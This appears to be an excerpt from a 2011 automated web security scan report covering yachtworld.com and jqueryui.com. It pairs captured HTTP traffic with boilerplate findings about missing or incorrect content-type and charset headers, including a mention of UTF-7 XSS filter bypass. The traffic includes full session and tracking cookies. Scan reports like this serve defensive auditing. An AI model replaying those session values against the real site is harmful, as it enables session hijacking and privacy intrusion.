GET /globalnav/sitemap.html.en HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:59:05 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Length: 32654 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Language: en-us
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en"> <head> <title>Boat and Yacht Sales, Buy Boats and Yachts - YachtWorld.com ...[SNIP]...
GET /leaving_yw.cgi HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:48:10 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
GET /about HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:08 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 15111
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>jQuery UI - About jQuery UI - The jQuery UI Team</title>
GET /themeroller/ HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:09 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 117007
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:24:51 GMT Server: Apache Last-Modified: Thu, 01 Feb 2007 22:10:20 GMT ETag: "47c2-428717e2aeb00" Accept-Ranges: bytes Content-Length: 18370 Cache-Control: max-age=31536000 Expires: Fri, 27 Jan 2012 19:24:51 GMT P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: image/jpeg
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:24:51 GMT Server: Apache Last-Modified: Thu, 01 Feb 2007 22:10:20 GMT ETag: "1a30-428717e2aeb00" Accept-Ranges: bytes Content-Length: 6704 Cache-Control: max-age=31536000 Expires: Fri, 27 Jan 2012 19:24:51 GMT P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: image/jpeg
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:20:24 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=ISO-8859-1 Content-Length: 1210
If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.